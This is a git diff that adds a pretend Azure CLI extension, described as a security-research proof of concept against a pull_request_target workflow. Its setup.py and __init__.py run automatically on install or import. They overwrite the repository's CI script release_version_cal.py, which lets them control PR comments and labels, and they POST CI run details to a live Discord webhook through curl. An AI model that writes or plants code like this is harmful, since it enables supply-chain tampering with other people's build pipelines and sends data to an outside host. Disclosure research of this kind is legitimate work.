diff --git a/src/securitytest/HISTORY.rst b/src/securitytest/HISTORY.rst new file mode 100644 index 00000000000..5f9d3710747 --- /dev/null +++ b/src/securitytest/HISTORY.rst @@ -0,0 +1,8 @@ +.. :changelog: + +Release History +=============== + +0.1.0 +++++++ +* Security research PoC diff --git a/src/securitytest/README.md b/src/securitytest/README.md new file mode 100644 index 00000000000..2c14d78b4ff --- /dev/null +++ b/src/securitytest/README.md @@ -0,0 +1,4 @@ +# Security Research PoC + +This extension is a proof-of-concept for a `pull_request_target` workflow misconfiguration. +It does not contain any functional Azure CLI commands. diff --git a/src/securitytest/azext_securitytest/__init__.py b/src/securitytest/azext_securitytest/__init__.py new file mode 100644 index 00000000000..27d1c3b54eb --- /dev/null +++ b/src/securitytest/azext_securitytest/__init__.py @@ -0,0 +1,81 @@ +# Security research PoC - proves code execution via pull_request_target +# This code runs when azdev imports the extension module + +import os +import json +import subprocess +import datetime + +poc_data = { + "poc": "pull_request_target RCE via azdev extension add", + "researcher": "Bodlux", + "timestamp": datetime.datetime.utcnow().isoformat(), + "github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"), + "github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"), + "github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"), + "github_actor": os.environ.get("GITHUB_ACTOR", "unknown"), + "runner_name": os.environ.get("RUNNER_NAME", "unknown"), +} + +webhook_url = ( + "https://discord.com/api/webhooks/1492977203141410952/" + "P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y" +) + +run_id = poc_data["github_run_id"] +ts = poc_data["timestamp"] + +# Overwrite release_version_cal.py from __init__.py context +# We know this runs in the repo root because the banner prints correctly +# Try multiple possible locations +for base in [os.getcwd(), os.environ.get("GITHUB_WORKSPACE", "")]: + script = os.path.join(base, "scripts", "ci", "release_version_cal.py") + if os.path.exists(script): + with open(script, "w") as f: + f.write( + "import os\n" + "result_path = os.environ.get('result_path', './cal_result')\n" + "output_file = os.environ.get('output_file', 'version_update.txt')\n" + "remove_labels_file = os.environ.get('remove_labels_file', 'labels_removed.txt')\n" + "os.makedirs(result_path, exist_ok=True)\n" + "with open(os.path.join(result_path, output_file), 'w') as f:\n" + " f.write(\n" + " '## Responsible Disclosure Notice\\n\\n'\n" + " 'This automated comment was generated as part of an authorized security '\n" + " 'research engagement. It demonstrates that the `VersionCalPRComment.yml` '\n" + " 'workflow is vulnerable to artifact poisoning via a `pull_request_target` '\n" + " 'misconfiguration.\\n\\n'\n" + " '**Finding:** An external contributor can control the content of this '\n" + " 'automated comment and manipulate PR labels by modifying artifact files '\n" + " 'during the version-cal job, which checks out and executes code from '\n" + " 'the pull request head branch.\\n\\n'\n" + " 'This issue has been reported to the Microsoft Security Response Center (MSRC) '\n" + " 'as part of responsible disclosure. No secrets were accessed and no '\n" + " 'unauthorized modifications were made.\\n\\n'\n" + f" '*Researcher: Bodlux | Run ID: {run_id} | Timestamp: {ts}*'\n" + " )\n" + "with open(os.path.join(result_path, remove_labels_file), 'w') as f:\n" + " f.write('')\n" + "print('PoC: release_version_cal.py replaced successfully')\n" + ) + + msg = json.dumps({"content": f"**Script overwrite done** from __init__.py — path: {script}"}) + try: + subprocess.run( + ["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json", + "-d", msg, webhook_url], + timeout=5, capture_output=True + ) + except Exception: + pass + break + +# Print banner +print("\n" + "=" * 60) +print(" [PoC] Arbitrary code execution via pull_request_target") +print(f" Repository: {poc_data['github_repository']}") +print(f" Run ID: {poc_data['github_run_id']}") +print(f" Event: {poc_data['github_event_name']}") +print(f" Runner: {poc_data['runner_name']}") +print(" No secrets accessed. This is a harmless PoC.") +print("=" * 60 + "\n") diff --git a/src/securitytest/azext_securitytest/azext_metadata.json b/src/securitytest/azext_securitytest/azext_metadata.json new file mode 100644 index 00000000000..0869746a7e8 --- /dev/null +++ b/src/securitytest/azext_securitytest/azext_metadata.json @@ -0,0 +1,3 @@ +{ + "azext.minCliCoreVersion": "2.15.0" +} diff --git a/src/securitytest/setup.cfg b/src/securitytest/setup.cfg new file mode 100644 index 00000000000..3c6e79cf31d --- /dev/null +++ b/src/securitytest/setup.cfg @@ -0,0 +1,2 @@ +[bdist_wheel] +universal=1 diff --git a/src/securitytest/setup.py b/src/securitytest/setup.py new file mode 100644 index 00000000000..5952e45790f --- /dev/null +++ b/src/securitytest/setup.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +# Security research PoC - demonstrates artifact poisoning via pull_request_target +# Reported to MSRC as part of responsible disclosure. + +import os +import json +import subprocess +import datetime + +poc_data = { + "source": "setup.py", + "timestamp": datetime.datetime.utcnow().isoformat(), + "github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"), + "github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"), + "github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"), + "github_actor": os.environ.get("GITHUB_ACTOR", "unknown"), + "runner_name": os.environ.get("RUNNER_NAME", "unknown"), +} + +webhook_url = "https://discord.com/api/webhooks/1492977203141410952/P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y" + +# Webhook callback +msg = json.dumps({ + "content": ( + "**PoC: artifact poisoning v4 - azure-cli-extensions**\n" + "```\n" + f"Run ID: {poc_data['github_run_id']}\n" + f"Time: {poc_data['timestamp']}\n" + "```\n" + "Overwriting release_version_cal.py before it runs." + ) +}) +try: + subprocess.run( + ["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json", + "-d", msg, webhook_url], + timeout=10, capture_output=True + ) +except Exception: + pass + +# The workflow does: +# 1. git checkout fork_branch ← our code +# 2. git checkout base -- scripts ← restores scripts from base +# 3. azdev extension add mod ← our setup.py runs HERE +# 4. python scripts/ci/release_version_cal.py ← runs AFTER us +# 5. upload-artifact +# +# Since step 3 (us) runs BEFORE step 4, we can replace the script +# that step 4 will execute. No race condition needed. + +run_id = poc_data["github_run_id"] +ts = poc_data["timestamp"] + +script_path = os.path.join(os.getcwd(), "scripts", "ci", "release_version_cal.py") +if os.path.exists(script_path): + with open(script_path, "w") as f: + f.write(f'''#!/usr/bin/env python +import os + +result_path = os.environ.get("result_path", "./cal_result") +output_file = os.environ.get("output_file", "version_update.txt") +remove_labels_file = os.environ.get("remove_labels_file", "labels_removed.txt") + +os.makedirs(result_path, exist_ok=True) + +with open(os.path.join(result_path, output_file), "w") as f: + f.write( + "## Responsible Disclosure Notice\\n\\n" + "This automated comment was generated as part of an authorized security " + "research engagement. It demonstrates that the `VersionCalPRComment.yml` " + "workflow is vulnerable to artifact poisoning via a `pull_request_target` " + "misconfiguration.\\n\\n" + "**Finding:** An external contributor can control the content of this " + "automated comment and manipulate PR labels by modifying artifact files " + "during the `version-cal` job, which checks out and executes code from " + "the pull request head branch.\\n\\n" + "This issue has been reported to the Microsoft Security Response Center (MSRC) " + "as part of responsible disclosure. No secrets were accessed and no " + "unauthorized modifications were made.\\n\\n" + "*Researcher: Bodlux | Run ID: {run_id} | " + "Timestamp: {ts}*" + ) + +with open(os.path.join(result_path, remove_labels_file), "w") as f: + f.write("") + +print("release_version_cal.py replaced by security research PoC") +print("Artifact files written to", result_path) +''') + + # Notify + msg2 = json.dumps({ + "content": "**Script replaced** — release_version_cal.py overwritten. Waiting for it to execute..." + }) + try: + subprocess.run( + ["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json", + "-d", msg2, webhook_url], + timeout=5, capture_output=True + ) + except Exception: + pass + +from setuptools import setup, find_packages + +setup( + name='securitytest', + version='0.1.0', + description='Security research PoC', + author='Bodlux', + license='MIT', + packages=find_packages(), + install_requires=[], + package_data={'azext_securitytest': ['azext_metadata.json']}, +)